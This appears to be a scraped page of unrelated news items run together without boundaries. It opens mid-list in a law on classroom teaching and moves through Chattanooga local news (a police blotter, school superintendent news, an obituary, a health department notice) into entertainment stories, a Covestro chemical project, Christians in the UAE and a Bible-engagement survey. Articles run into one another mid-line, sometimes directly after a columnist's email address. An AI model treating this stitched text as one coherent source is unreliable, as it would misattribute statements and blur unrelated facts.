(12) The rule of law does not exist, but instead is a series of power relationships and struggles among racial or other groups;

(13) All Americans are not created equal and are not endowed by their Creator with certain unalienable rights, including life, liberty, and the pursuit of happiness; or

(14) Governments should deny to any person with the governments jurisdiction the equal protection of the law[.]

* * *

The first day of Hamilton County schools of in-class teaching is in less than four weeks. Registration for an estimated 4,250 children will be held on Aug. 6 and the first full day of class will be on Aug. 12.

For any parent or guardian who feels their children are being taught improperly, the best recourse is to contact the state Department of Education in Nashville. In Hamilton County it has been long believed there is too much posturing and politicizing but the state level assures your concerns with be dealt with accordingly.

Just as 21 Tennessee teachers have pledged they will defy state laws, your goal for the common good is to abide by the law and the state of Tennessees education website is committed to best serving all the people.

Stop this nonsense right now and collect the teachers license of any scofflaw in the state. A lion does not concern himself with the opinions of sheep.

royexum@aol.com
The Hamilton County Health Department invites families of school-age children to participate in back-to-school vaccination and birth certificate events at the Health Department beginning Monday, July 19, through Friday, Aug. 13. No appointment is necessary.

Routine childhood vaccinations are an important way to ensure that your child and community remain healthy and protected against serious diseases, like measles and whooping cough, said Health Department Administrator Becky Barnes. We encourage parents to make sure children are up to date on routinely recommended vaccines and take advantage of our back-to-school events.

The Back-to-School Childhood Vaccination and Birth Certificate events will be held at the Hamilton County Health Department, 921 East 3rd St., weekdays: July 19-Aug. 13 from 8 a.m.-4 p.m. and special Saturday events will be held on July 31 and Aug. 7 from 8 a.m.-12 p.m. School-age children and their parents/custodians are invited to participate.

Services offered include Tennessee immunization forms, birth certificates, and required school vaccinations. For a full list of vaccinations required by age group, visit the TN Department of Healths website.

Kindergartners, seventh graders, and students new to Hamilton County Schools are due for a new vaccine series; however, Health Department nurses are available to bring each child up to date on their vaccine requirements.

The Pfizer COVID-19 vaccine is available for all guests 12 and up.

No appointment is necessary. Free parking is available in the garage across the street from Erlangers Emergency Department. Please bring your parking ticket into the Health Department and ask staff to validate it. F

or the safety of Health Department staff and clients, masks and social distancing measures are required inside the building.

Bilingual staff are available.

Usual Health Department charges apply, including sliding fee schedule based on income.

Call the Health Departments hotline at 209-8383 for more information.

Parents/legal guardians are asked to bring the following documentation: Current valid ID. If ID is expired, provide two pieces of mail with current name and address. Custody papers (If applicable). Health insurance card (If applicable). Proof of child wellness physical (if applicable and/or required by the school). If child is new to Hamilton County Schools, parents/legal guardians are asked to bring their childs immunization record.

Parents/guardians who wish to start the childhood immunization process prior to the walk-in events are invited to make an appointment over the phone. Please call 209-8050. No appointment is necessary for the birth certificate/vital records department.








A man on East 10th Street told police he was protecting himself from an armed woman on his porch when she lunged at him. He pushed her away and in the process discharged his weapon into the wall of the house. No one was injured. The armed person was taken to jail. A report was made for the man for his insurance.

* * *

A woman on Shallowford Village Drive at the Sleep Inn said over a month ago she was staying in a room with a man. She said she had to leave the room due to a threat of violence and she left her belongings in the room. Later the man told her that he left them with an employee of Sleep Inn. She says that she had been there more than once to get her property but was told they do not have it. She can't remember the date or the cost of any of the items.

* * *

A woman on Gunbarrel Road said she was let go from her job and they gave her a bad check. Officers spoke with the employer who said his bank account was hacked and his account was frozen. Officers went to the bank with both parties. The bank was unable to give the money back at this time because they were waiting on their fraud division to complete their investigation.

* * *

A man said he was parked at the Boathouse restaurant on Riverside Drive when a vehicle pulled up next to his and, when the driver opened their door, it struck the side of his door. He said that the vehicle was parked at an angle so that when the driver opened her door the door hit again so she had to push it back open and each time she did so it struck the side of his vehicle. The man said a man nearby came to assist the female in the vehicle and, when he opened the door, it also struck the side of his vehicle. The man approached the two people and told them they had hit his vehicle with their door. They told him that they did not cause the damage to the door, but the man said he opened their door and showed them that their door lined up with the damage. The man asked the woman for her license, which he took a picture of with his phone. The ID that he took a picture of came back to a woman who has an address in California. He also took a picture of the tag on the vehicle and it was a Georgia tag. Based on the statements made by the man, it appears that the damage done to his vehicle was an accident, police concluded.

* * *

A man on East Dallas Road said someone was hacking his computer this morning as he began to log out of the account. He said the hacker's IP address was pinging in Sweden and they were attempting to take $13,000 in Ethereum but he only owns $1,400. He said he managed to stop the account before it overdrafted into his bank account.

* * *

A man on Foster Street said someone damaged his vehicle. He said there were scratches and dents on the passenger side, some damage to door handles, front bumper and fender damage, both headlights broken off, and the passenger rear view mirror knocked off. He needed a police report for insurance purposes.

* * *



A person called police to say an intoxicated man had urinated into a yard from the sidewalk on Vine Street. Police spoke with the man who said he was walking home from the store. He has an address near to where the officers were speaking with him and did not seem to be impaired or in need of assistance. The reporting party did not want to speak with officers.

* * *

While on routine patrol on Central Avenue, police saw a black Toyota sedan, Colorado license plate, either a Camry or Corolla, with extremely dark tinted windows traveling in the area. It was apparent to police the vehicle was making evasive maneuvers to avoid police interaction. Police saw the vehicle run through the stop sign at West 42nd Street and Hooker Road before hitting Hooker Road to Central Avenue. Police tried to initiate a traffic stop but were unsuccessful in doing so. The car evaded the stop, passing southbound traffic in the northbound lane on two occasions to do so. Police disengaged and BOLO'ed the vehicle to neighboring Georgia counties.

* * *

A woman on Shepherd Road said a man was harassing her but she had no proof of any harassment. Officers discovered the man had multiple active warrants. Officers had units go check the address given to police by the woman but officers didn't find him at the addresses given by her.

* * *

A man called police to report a Western Express semi truck and trailer were stuck in the hair pin turn on Sylvia Trail. It is unclear why a truck and trailer would be on this particular roadway that is not capable of this size vehicle. At the time of this report, the truck had not caused any damage to the man's property. The driver of the truck had called a tow truck company to assist them in exiting the predicament.

* * *

A man told police he was driving on Lee Highway around 6:20-6:30 a.m. when he got into a road rage incident with a motorcycle rider. He said that the rider had been driving recklessly earlier while he was in the Collegdale area before they got to the Ooltewah area. He said the motorcycle rider had been motioning and yelling at him to pull over and the man said he was driving in the right lane. While stopped in front of the liquor store, he said the rider pulled up beside him in the left lane and hit the victim's driver side mirror with his open hand or fist. He said the mirror was broken out as a result and it also broke the back of the mirror off. He said it put a crease in the top part of the fender from where the mirror slammed into it. After hitting the mirror, he said the suspect took off and drove out of sight. He said there was a lady in the car in front of him who got out and told him she "saw the whole thing" and she gave him her name and phone number but no address and she told him she was a teacher at a nearby school. He said he's not sure if anyone got it on video or not. He described it as a smaller motorcycle, light or lime green and white in color, and the rider was wearing a helmet with the same colors and a brown T-shirt with a backpack. No estimates for damage so far.

* * *

Police responded to a man wearing a hospital gown walking around Market Street. He said he had been discharged from the hospital and needed a ride to the Community Kitchen. Police transported the man without incident.
County Mayor Jim Coppinger said Wednesday that outgoing County School Supt. Dr. Bryan Johnson will speak to the school board on Thursday. He said he spoke to Dr. Johnson, and said the superintendent will ask for an interim to be appointed, and that Dr. Johnson has a person he will recommend.

During their weekly meeting, the Hamilton County Commission shared their thoughts on the upcoming departure of Dr. Johnson, who made his surprise announcement on Tuesday afternoon. The superintendent for the last four years is moving out of education on Aug. 17 after helping rebuild Hamilton Countys schools, the county mayor said.

Commissioner Katherlyn Geter said a school systems effectiveness is predicated on the strength of its leader, and called the loss of Dr. Johnson a significant one. Commissioner Warren Mackey expressed disappointment in what he considered a lack of support for the superintendent despite Dr. Johnsons success.

After having reached those top scores in every category, he still experienced a lot of opposition, pushback, and criticism, Commissioner Mackey said. We see time and time and time again, talented black folks come into this city and for whatever reason, theres not a lot of cooperation. Dr. Johnson moved this school system forward in a way other superintendents had not done.

Commissioner David Sharpe raised a similar point, saying he "wondered how the next person can be expected to stay if the community does not support them."

Dr. Johnson outperformed beyond anyones wildest expectations, and became a finalist for Superintendent of the Year for the nation, Commissioner Sharpe said. Yet he has been facing criticism locally from detractors in your own community that youre serving. Weve got a problem, and we have to get past it.

County Mayor Coppinger said, I was probably the most shocked person when he called me. Dr. Johnson and I have a good working professional and personal relationship. I actually thought he was kidding, and I was hoping he was joking when he said he was leaving education and exploring different opportunities.

Hes a man of strong faith and he believes hes been led to do this. Its been an honor to work with a gentleman like Dr. Johnson, who has so much integrity and passion for what hes doing.



Commissioner Steve Highlander, who served on the school board working with Dr. Johnson for several years, praised Dr. Johnsons character.

Dr. Johnson is a man of character. I picked him up from his hotel for his interview. He buried his mother then drove to Chattanooga, Commissioner Highlander said. I sat in that parking lot and prayed for God to give him wisdom. Hes done a great job. I broke the 4-4 tie to bring Dr. Johnson in.

He is a very good father, and he wants to spend time with his son. Im hoping he will have more time to do that. He has a great family and I wish him the best. We wish him the very best.

Chairman Chip Baker, who served on the school board for 12 years, called Dr. Johnson a superstar. He cited the presence of private schools as a reason the superintendent has had difficulty gaining support.

We were lucky to get him for four years, and Im really gratified hes going to stay here and that he found Chattanooga as his home, Commissioner Baker said. I think the community has to support the superintendent, and I think its difficult 35 percent of your students are in private schools.

Dr. Bryan Johnson became the superintendent in 2017, and was named Tennessees 2021 Superintendent of the Year.
Chattanooga has been recognized for achieving 2021 What Works Cities certification, the national standard of excellence in data-driven city governance. What Works Cities certification evaluates how well cities are managed by measuring the extent to which city leaders incorporate data and evidence in their decision-making.

Chattanooga, which achieved certification at the Gold level, is one of only 16 cities to be newly certified this year and one of only 40 cities to be certified since the program was launched in April 2017. What Works Cities is a national initiative launched by Bloomberg Philanthropies to help cities use data and evidence more effectively to tackle their most pressing challenges.

As public servants, we owe it to Chattanoogas residents to ensure that our decisions are not only backed up by good data, but driven by it, said Chattanooga Mayor Tim Kelly. Data can tell us whats working, but more importantly can tell us whats broken and needs to be fixed to benefit our most vulnerable communities. Data gives us both the freedom and the accountability to live up to our potential.

What Works Cities certification assesses cities based on their data-driven decision-making practices, such as whether they are using data to set goals and track progress, allocate funding, evaluate the effectiveness of programs, and achieve desired outcomes from contracts with outside vendors. The program also measures whether cities are publicly and transparently communicating about their use of data and evidence.

Chattanooga has demonstrated measurable progress on these foundational data practices. Some examples of the citys use of data include:

Last year, Chattanooga launched a Policing and Racial Equity Dashboard which displays citations, arrests, use of force, citizen complaints by race, and details of closed investigations from the Chattanooga Police Department from the last two and a half years. This resource not only creates greater transparency in the city, but also a publicly available resource to hold CPD accountable for making progress. It also allows and encourages the CPD to use data in uncovering policing disparities and making positive changes in how they teach and practice policing as an organization, said officials.

And as a part of Chattanoogas overall data initiative, the Office of Performance Management and Open Data launched Chattalytics - the next evolution of the citys data and performance management program. This predictive modeling tool uses data science methods to identify projects that help solve real world problems with data. This program will help the city to shift to using data to predict likely future events, allowing the city to be proactive, instead of reactive, and solve problems before they become a crisis. For example, it has helped streamline fire inspections for commercial properties by aggregating data from at least three different databases into a Fire Inspection Model which predicts and assigns a fire risk score to commercial buildings. The data showed that 126 commercial properties had the highest tier fire risk score and allowed the department to prioritize inspections.

The 16 new cities that achieved certification this year include four cities at the Gold level (Austin, Tx.; Chattanooga, Tn.; Detroit, Mi.; and Gilbert, Az.) and 12 cities at the Silver level: Baton Rouge, La/; Bellevue, Wa. Fort Collins, Co.; Glendale, Az.; Irving, Tx.; Little Rock, Ar.; Madison, Wi.; Minneapolis, Mn.; Norfolk, Va.; Portland, Or.; San Antonio, Tx.; and Syracuse, N.Y.

Additionally, three cities that had previously been certified advanced to the next level of certification: Cambridge, Ma. (Gold); Memphis, Tn. (Gold); and Phoenix, Az. (Gold). Four cities renewed their certification this year: South Bend, In. (Silver); San Jose, Ca. (Silver); Tempe, Az. (Gold); and Topeka, Ks. (Silver).

City leaders are using data to understand and support the needs of residents like never before, said Michele Jolin, CEO and co-founder of Results for America, the lead partner in the What Works Cities initiative. Throughout the COVID crisis and a historic reckoning with racial injustice, mayors have relied on data to identify and narrow racial gaps, and to make smarter investments that increase opportunity for all their residents. These cities are testing new solutions and measuring what works, rebuilding trust in government by engaging with their residents, and using evidence and data to drive faster progress on their toughest challenges.

Jennifer Park, founding director of What Works Cities certification, said, Since certification was first introduced, cities have made tremendous progress in their ability to build the data capacity and skills needed to drive their decision-making with data and evidence. This year, cities used data and evidence to guide their response to COVID, address budget shortfalls, reimagine public safety, advance equity, and much more. Data wasnt just a valuable tool for city leaders ? it was a necessity.

What Works Cities certification was developed by a team of experts from Results for America in close consultation with the What Works Cities certification Standard Committee. To evaluate cities, these experts conducted a rigorous validation process of cities' certification assessments and participated in site visits to the highest-performing cities to determine the citys certification level.

The program has inspired a movement of cities that are doubling down on their commitment to building the most well-managed local governments possible and using certification as a roadmap for doing so. More than 200 cities have completed a certification assessment to have their practices benchmarked against the national standard. The assessment is the first step to receiving exclusive support from What Works Cities to continue building a more effective local government.

To learn more about the program and how to participate, visit www.whatworkscities.bloomberg.org/certification.




Elijah Abraham Muhs, 18, of Ooltewah, Tennessee, passed away on Tuesday, July 13, 2021 at T.C. Thompsons Childrens Hospital in Chattanooga, Tennessee.

Visitation will be held at Chattanooga Funeral Home, Valley View Chapel in Chattanooga on Thursday, July 15, from 6-8 p.m.

Funeral services will be held at Chattanooga Funeral Home, Valley View Chapel on Friday, July 16, at 10 a.m. with Pastor Fred Fuller of McDonald Road Seventh Day Adventist Church officiating. Burial will follow at Collegedale Memorial Park Cemetery in Collegedale.

Elijah was born in Peoria, Il. to Dan and Charity Muhs on March 14, 2003. The family moved to Chattanooga in 2016 where he graduated from Collegedale Academy in 2021. He served at Cohutta Springs Youth Camp as a staff member. Elijah was an incredibly knowledgeable and super loyal fan of the Chicago Bears. Sorry Titans, GO BEARS!! He loved making McBuckets Nation videos with his bros in order to make others laugh. Words cannot begin to articulate how much Elijah will be remembered as a youth with a huge heart, full of compassion for others, especially for the friendless, alone or disconnected.

Elijah leaves his loving memories to be cherished by his loving family, parents, Dan and Charity, older brother, Noah and younger sister, Hannah Muhs.

In lieu of flowers, donations may be made to Collegedale Academy for McBuckets Nation, at 4855 College Drive E, Collegedale, TN 37315.

The family wishes to extend their gratitude to T.C. Thompsons Childrens Hospital pediatrics ICU staff and the numerous friends and family for their loving support in his final days.

Please share your thoughts and memories online at: www.ChattanoogaValleyViewChapel.com

Arrangements are by Chattanooga Funeral Home, Crematory & Florist, Valley View Chapel, 7414 Old Lee Highway, Chattanooga, TN 37421.


Every year, hundreds of thousands of people experience powerful moments of connection with animals while exploring the Tennessee Aquarium.

The bonds forged through close encounters with the Aquariums living collection can have a lasting impact on a persons relationship to the natural world. In a few rare cases, however, a visit can shape the trajectory of a persons entire life.

The Tennessee Aquarium was the first aquarium I ever visited as a child, says Natali Rodgers. I can still vividly remember walking through River Journey and being mesmerized. My visits to this aquarium sparked wonder and curiosity in marine science and shaped my career.

Ms. Rodgers now walks these same galleries as the Aquariums new director of learning and evaluation, living out a dream to inspire others.

I was always a science kid who loved animals, she says. When I realized that I could work at an aquarium, I began to plan out how I would achieve just that.

Born in Memphis, Ms. Rodgers lived much of her life in Atlanta and studied marine science and biology at Savannah State University. After graduating, she worked as an educator at Zoo Atlanta before being tapped as the guest experience manager for the Kansas City Zoo.

For the last three years, she served as the Missouri institutions senior education manager, a role she says sated her need to make meaningful change by inspiring future generations.

Initially my plan had nothing to do with being an educator, Ms. Rodgers says. But after working in various roles at Zoo Atlanta, I realized just how passionate I was about science education and the importance of engaging visitors in conservation.

After building a career out of helping others discover an appreciation of the natural world, Ms. Rodgers is returning to the place where the seeds of her love for animals were planted, on the banks of the Tennessee River in downtown Chattanooga.

Since opening in 1992, the Aquarium has served as an educational destination for students from all over the nation and an invaluable educational resource for teachers. In her new role, Ms. Rodgers will guide the Aquariums award-winning education department, spearheading efforts to develop inclusive programming for on-site visitors as well as educational outreach to the broader community. These programs will target learners of all ages, from preschoolers to postgraduate students.

My mission will be to provide all people unrestricted access to meaningful and impactful educational opportunities, she says. The skills, connections and experiences I have accumulated over the last 15 years at accredited zoos, plus the amazing Tennessee Aquarium team, will help guide me as I approach this new position.

The opportunity for a homecoming to the birthplace for her love of science is exciting on many levels.

Becoming the director of learning and evaluation at the place where it all began is like coming full circle, Ms. Rodgers says. I get the opportunity to shape minds and create awe for the natural world through impactful learning opportunities.

I am looking forward to breaking any accessibility barriers to our education programs and ensuring that everyone has the opportunity to experience what I experienced as a child.

And if shes lucky, she adds, shell also sow the seeds for a new crop of science advocates to follow in her footsteps.

Getting people to care about the natural world is why education is so important in zoos and aquariums. If people care about and are empathetic to the natural world, they are more likely to become great environmental stewards. If I can make this happen, Ill know I have made a difference.
Many fans of the original Gossip Girl were disappointed not to see the original characters in the continuation series on HBO Max. Instead, the show focuses on a new crop of New York City elite. At the center of it all is Julien Calloway, this generations it girl. Heres how the series creator defined the character in the pilot.

Gossip Girl stars Jordan Alexander as Julien Calloway

Jordan Alexander as Julien Calloway in Gossip Girl | Gotham/GC Images

Gossip Girl premiered on July 8, 2021. The first episode introduced the main cast of characters, a group of students attending an Upper East Side prep school. Long-time friends Obie Bergman, Max Wolfe, Audrey Hope, Aki Mezies, Luna La, and Monet de Haan are brought together by their leader, so to speak: Julien, played by Jordan Alexander.

Julien Calloway is, according to teachers like Kate Keller, the most popular student at Constance Billard. Shes a fashion model and influencer and, for the most part, untouchable. But when her half-sister, Zoya Lott, arrives at school, things begin to change for her  and not in the way she expected.

Joshua Safran says 1 quote from the pilot defines her

My favorite line in the pilot is I got us a regular Lyft; we can talk in here. Tells you everything you need to know about Julien (at this moment) in one line.  Joshua Safran (@Anthologist) July 9, 2021

RELATED: Gossip Girl: The First Episode of the New Series Avoids Making 1 Mistake the Original Did

In the first episode, Just Another Girl on the MTA, Zoya enters the picture. Julien is very excited at first. But things shift between them when Gossip Girl arrives and reveals Julien secured Zoya the scholarship that brought her there. Another twist comes when Zoya spends time with Juliens boyfriend, Obie.

Determined to fix things between them and trick Gossip Girl, Julien arranges to meet up with Zoya. When her younger sister gets in the car, Julien says, I got us a regular Lyft; we can talk in here. This is where she reveals her plan set to go down at the fashion show. But once again, things go awry.

The series creator, Joshua Safran, tweeted that the aforementioned Julien dialogue is his favorite line in the pilot. The writer, who also worked on the original series, continued, saying it tells you everything you need to know about Julien (at this moment) in one line.

Alexander on her character

Jordan Alexander attends the Gossip Girl New York Premiere at Spring Studios on June 30, 2021, in New York City. | Dia Dipasupil/WireImage

At 27, Alexander is removed from her teenage years, even more so than many of her Gossip Girl co-stars. Portraying Julien requires a different side of her. When I put on Juliens clothes, I stand up straighter, the actor told W Magazine in a 2021 interview. Shes kind of a diva. She did not come to play.

Alexander continued. Julien has this effortlessness about her that causes people to listen and pay attention and want to do what she does. That is the essence of her character. Shes navigating that pedestal in a way that I think will be interesting for the target audience, being that most of them will have grown up on social media and have had the pressures of a lot of eyes on them.
For months, rumors have swirled that Jennifer Carpenter would appear in the Dexter revival. The actor never addressed the speculation, but a new report says shes, indeed, on board. Here, find what we know about her return and more about the show.

Jennifer Carpenter on the red carpet at a party in June 2013 in Hollywood, California | Jason LaVeris/FilmMagic

What happened to Debra Morgan in Dexter?

At the end of the eighth and final season, viewers were blindsided when the series showed Debra (Carpenter) clinging to her life following surgery complications. Dexter ultimately decided to pull the plug on her before burying her body at sea. He then fled Miami and left for Oregon, where he became a lumberjack.

RELATED: Dexter: Jennifer Carpenter Wanted Her Character to Die  But Not in the Way Youd Expect

Jennifer Carpenter will appear in the Dexter revival

Announced in October 2020, the Dexter revival will pick up 10 years after what happened in the original series finale to show Dexter Morgan in his next stage of life.

As far as what I can reveal about the new show is, I dont want to say much, other than as you can imagine given where we left him his life is completely recontextualized, actor Michael C. Hall (Dexter Morgan) previously told Louder Than War.

RELATED: Dexter Star Hints the Revival Is Inspired by Alternate Ending Idea

For a while, he was the only known actor confirmed for the revival, but more names have been added.

In June, news broke that John Lithgow, who played the Trinity Killer, would also appear in the show. The actor suggested to Deadline in a report published on July 13 that he and Carpenter would return in at least one flashback. It was just wonderful to rejoin that gangincluding Michael and Jennifer Carpenter and [showrunner] Clyde Phillips, he added.

Rumors of Carpenters return have swirled since early March when she reportedly posted a now-deleted video on Instagram that had Massachusetts tagged as the location, which is where the revival is filming.

The speculation grew when Carpenter posted another photo showing her dressed in an outfit that fans felt was right out of Debras wardrobe, but she never addressed any of it. We reached out to her representatives at the time for comment but did not hear back.

Aside from Hall, Lithgow, and Carpenter, the cast of the Dexter revival includes Clancy Brown, Julia Jones, Jack Alcott, Alano Miller, Oscar Wahlberg, Katy Sullivan, Johnny Sequoyah, Michael Cyril Creighton, and Jamie Chung, among others.

The Dexter revival comes out later in 2021

At this point, the Dexter revival is almost done filming, with plans on premiering in the fall of 2021.

We have about five weeks to go, Hall said in a June appearance on Times Radio (via Digital Spy). I think the whole shoot would have taken five months. Its basically like were filming it as a 10-hour movie. It will be ten episodes, premiering at least in the States on Showtime on November 7.

Be sure to check back in with us for any updates that become available. Until then, get ready for Dexter!
If youve ever watched Nat Geo Wilds The Incredible Dr. Pol, you know that at some point, rural Michigan veterinarian Dr. Jan Pol will get a farm call. It might be a call to examine a cow in distress while calving or perhaps another large animal with a rectal prolapse (youll have to look that one up, just not while youre eating).

During many of those calls, because he insists on getting to the root of the issue, the Netherlands-born Dr. Pol goes shirtless on his hit reality show to get up close with his client. And heres why.

The Incredible Dr. Pol star Dr. Jan Pol | Bryan Bedder/Getty Images for National Geographic

Dr. Pol attended veterinary college in the Netherlands

Born in the Netherlands, Dr. Pol attended Utrecht University Veterinary College in the 1970s and explained that a chance invitation by his town animal doctor led to his destiny.

When I was 12 years old, I was tall and skinny and my brother had some small pigs that were not supposed to be pregnant and they were. The local veterinarian, a huge guyhe picks me up and he says, You come with me and you help me pull those pigs out. So here Im laying in the straw behind those sows, honestly up that far in those sows trying to get those little pigs, Dr. Pol told web show Comes A Time of being arm deep inside a pregnant sow.

The moment Dr. Pol knew he was meant to work with animals

If the expression do something you love and youll never work a day in your life is true, then Dr. Pol hit the lottery with his chosen profession. Because for him, in the midst of the manure and mud of farm life, helping to birth those piglets was heaven.

You know what? That was so much fun, he said. I like that. Its not dirty, its very, very clean inside. So, I came back and said, That was fun, I told my mom and dad. And I said, You know, it would be nice to become a veterinarian and thats how it actually started.

Why Dr. Pol removes his shirt when hes examining large animals

Dr. Pol points to his university training to help others understand why he does without his shirt when he needs to palpate (examine with the hands) a large animals rectum or birth canal.

I was born in the Netherlands and went to school at Utrecht, which is one of the better schools in the world, he said, humorously puffing his chest at the boast. This is what they taught us over there: take your shirt off because, well it was all guys, we only had five girls out of 100 students there. But take your shirt off because when you roll your [sleeve] up, you can only get in that far.

Removing his shirt, Dr. Pol was taught, would improve his ability to assess what was happening inside. Less fabric means more room to inspect the animal.

You take your shirt off, you could go up to your neck inside these animals, he said.

RELATED: The Incredible Dr. Pol: Dr. Jan Pol Says This Is What Has Made His Show So Durable
Covestro has started up a miniplant at its Dormagen site to research the use of CO from metallurgical gases.

On the path to climate neutrality, the development of new raw material sources is of central importance. The Carbon2Chem project is investigating, among other things, where cross-sector networking between the steel and chemical industries is possible. The German government is funding the project until 2024. Covestro is contributing its expertise to the Carbon2Polymers subproject.

The objective is to explore the use of carbon monoxide (CO) from steel industry metallurgical gases for the production of high-quality polycarbonates. Covestro has now commissioned a mini-plant for this purpose at its Dormagen site. This is where it is tested whether the quality of the CO from metallurgical gases is sufficient for further processing.

The innovative process has great sustainability potential: Initial life cycle analyses show that around 0.48 kilograms of CO equivalent can be saved per kilogram of CO provided in the steel industry-chemical industry alliance. This means savings of more than 80 percent.

Industrial symbiosis as the key

The lighthouse project proves how important industrial symbiosis is on the path to climate-neutral production in Germany. Covestro has been working closely with thyssenkrupp since 2016. RWTH Aachen University and the Max Planck Institute Muhlheim are also involved in the project. Among other things, they do life-cycle analyses for the processes and test and develop new catalysts.

Dr. Stefanie Eiden heads the Carbon2Polymers subproject at Covestro. She is confident that the knowledge gained could also be helpful for other research projects: Coke oven gases have the advantage that they bring with them many accompanying substances. If we succeed in processing the CO in such a way that we can use it to produce our high-performance plastics, we can also do the same with other non-fossil-based CO sources. By the end of the year, it will be evaluated whether the innovative process is economically and ecologically viable.

Setting the course for a climate-neutral circular economy

Dr. Markus Steilemann, CEO of Covestro, sees the Carbon2Polymers project as a further milestone in the development of a global circular economy: We can only succeed in the fight against climate change if we enter into profitable cooperations. The collaboration with thyssenkrupp illustrates once again the enormous contribution industry can make on the path to greenhouse gas-neutral production. By using coke oven gases, we are further advancing the repeated use of raw materials and thus closing the cycle.

The industry is receiving support from politicians: the German government is funding the Carbon2Chem project with an additional 75 million euros until 2024. In this way, around 20 million tons of the steel industrys annual CO emissions in Germany are to be made economically viable in the long term.
According to many historians, the Christian presence in the United Arab Emirates dates back to the first centuries of Christianity, as it spread in various countries of the Arabian Peninsula and the Arabian Gulf.

In 1992, in the Emirate of Abu Dhabi, the remains of an ancient monastery dating back to the seventh century AD were discovered. Abu Dhabi authorities took the initiative to preserve the remains and turned them into Christian monuments and tourist attractions, Emirati news agencies report.

These antiquities were discovered on Sir Bani Yas Island, opposite the western shores of the Emirate of Abu Dhabi. It includes the main nave, side wings, temple, plaster, burial, tower and prayer house, some rooms for monks and the abode of the abbot of the monastery.

The current presence of Christians in the Emirates

On the land of the UAE live residents of about 200 nationalities, including Christians. Like others, Christians in the UAE enjoy a decent life, respect and equality, values that have been established by the state, which has become a leading example of tolerance and cultural pluralism.

The first church in the Emirate of Abu Dhabi was built in 1962, though it wasn't officially dedicated until 1965, on a plot of land donated by the Emirate, which bore the name St. Joseph the Catholic.

The first mass in the Emirate was organized in 1958 at Qasr al-Hosn. In the neighboring emirate of Dubai, the first church was built in 1967 and bore the name St. Mary.

Before the construction of churches, specifically in the fifties, priests would come to the homes of Christians to pray in them.

The opening of churches, however, gave Christians more space to practice their religion in complete freedom, including after the United Arab Emirates was established in 1971 and the eventual arrival of expatriates in the country.

In various parts of the country today, the Emirates embraces churches of different Christian denominations, such as Catholics, Greek Orthodox, Copts, Armenians, evangelicals and Anglicans.

Among the most prominent churches in the UAE capital of Abu Dhabi are St. Joseph Church, St. Paul Church, the Evangelical Church, the Armenian Church, St. Nicholas Church, St.Elias Orthodox Cathedral, St. Andrew's Church, St. George's Church and the Coptic Orthodox Church.

In all, there are 45 churches in the United Arab Emirates.

The most recent church to be inaugurated in Abu Dhabi was the Cathedral of St. Elias in the Mussafah area in early 2018, on a plot of land granted by the President of the UAE, Sheikh Khalifa bin Zayed Al Nahyan. The gift of the land was to serve as an example of Khalifa's tolerance and respect for the other.

This donation was not unique. Since the era of Sheikh Zayed bin Sultan Al Nahyan, the late founder of the Emirates, sheiks of the Emirates have donated lands to Christian denominations in order to build churches on them.

Christian numbers

The UAE is inhabited by 800,000 Christians, the majority of whom are Catholics. Catholics make up about 10 percent of the population. There are also many thousands of members of the Greek Orthodox sect in various parts of the Emirates and two Greek Orthodox churches in Abu Dhabi. The first Greek Orthodox church was opened in 1975 and bears the name of the Church of "St. Nicholas." A new church was opened in the same emirate in 2018.

Christians also have a church called "Our Lady of the Annunciation" in the complex of churches in the Jebel Ali area of Dubai. It was opened in 2009 after Sheikh Mohammed bin Rashid Al Maktoum donated a plot of land for its construction.

Photo courtesy: Getty Images/Naufal MQ

Rami Dabbas is a political activist and writer who has contributed to several media outlets. He is a pro-Israel advocate and human rights activist fighting against sharia law, radical Islamic terrorism and Arab nationalism. He connects with many NGOs and thinks tanks to promote peace with Israel and counter-Jihad organizations. He is a former Muslim who left Islam in 2012 and later became a Christian.
Ainslee Moss felt the full weight of 2020.

For her, the year included juggling the responsibilities of running several nonprofit thrift stores in York County, South Carolina, directing a womens shelter ministry, coordinating drop-offs for new mothers and seniors unable to leave their home in the pandemic, and traveling back and forth to the hospital with her elderly father who was fighting heart problems and esophageal cancer.

Her father, David Gentry, died at the end of the year, on December 27.

Definitely one of the most challenging years I think Ive ever been through, Moss said. I had my days that I had my good cries, but I think one of the things that kept me sane in those times was knowing that God has our days numbered.

At the worst moments in 2020, she said, she turned to Psalm 34:1: I will bless the Lord at all times (ESV).

According to data from the State of the Bible survey by the American Bible Society (ABS), Mosss experiences over the past year are in line with many Christians in America.

People who are Bible engagedwhich the society defines as people who read Scripture multiple times per week and cite its impact on their daily lives as a key way they relate to Godstruggled in 2020. They reported stress and anxiety at slightly higher rates than the rest of the population. But they also had more hope.

Jesus said, In this world you will have trouble, but take heart I have overcome the world, John Farquhar Plake, lead researcher at ABS, told CT. We see that played out in the lives of real people in the data.

The survey found that one-quarter of Americans are experiencing moderate levels of stress and 10 percent are experiencing extremely high levels.

Nearly half of respondents said they had trouble sleeping, 44 percent reported feeling tense, 44 percent said they were lonely and cut off from others, and 37 percent said they felt numb or detached.

Every measure of anxiety increased a bit between June 2020 and January 2021 in the study.

Christians who regularly turn to the Bible were not immune. In fact, the opposite was true.

We actually found that more Scripture-engaged people experience more stress and often higher levels of trauma, Plake said.

According to the study, A strong relationship to the Bible often coexists withand could even be compelled bythe hardships of life.

Plake said the correlation could be explained by the fact that people turn to the Bible more when theyre in trouble than when everything in their lives is going well. From what the data shows, the Scripture gives people hope. Bible-engaged people scored 71 out of 100 on a hope agency test, rating the truth of statements such as If I were in trouble, I know I could get out, and I can think of many ways to reach my goals. Bible-disengaged respondents in the ABS study scored about 14 points lower.

Plake says the findings should encourage churches and ministries as they respond to the needs of people such as Moss, who have been through a lot in the past 12 months. The study affirms the Bible is a source of hope and encouragement.

Marlaina Centeno, a pastor and church partnership associate with the American Bible Societys Trauma Healing Institute, said that women and minorities are statistically more likely to experience traumain general and perhaps even more in the difficulties of the pandemic.

There are so many stresses that have happened in the past year on top of COVID, it compounded, she said.

While trauma can create a barrier for some people when it comes to forming a relationship with God, Centeno said the data indicates that people in times of pain and suffering are strengthened by reading the Bible.

She suspects the impact is even greater when the Bible is read in groups, as relationships are also a source of comfort and encouragement. When people come together and form relationships and study the Bible together, they come away strengthened.

Centeno said while shes seen a lot of hurt over the past year, shes also seen a lot of healing.

Ive done in-person groups. Ive done online groups throughout this entire year with COVID and its amazing what happens, she said, from the first session of people coming in so incredibly heavy and having a lot of stress and a lot of pain and then six weeks later or six sessions later seeing some bring their pain to the cross and being able to see that light.

Plake said church leaders should take away two lessons from the State of the Bible report: First, people are hurting, whether they show it or not. And second, the Bible offers hope.

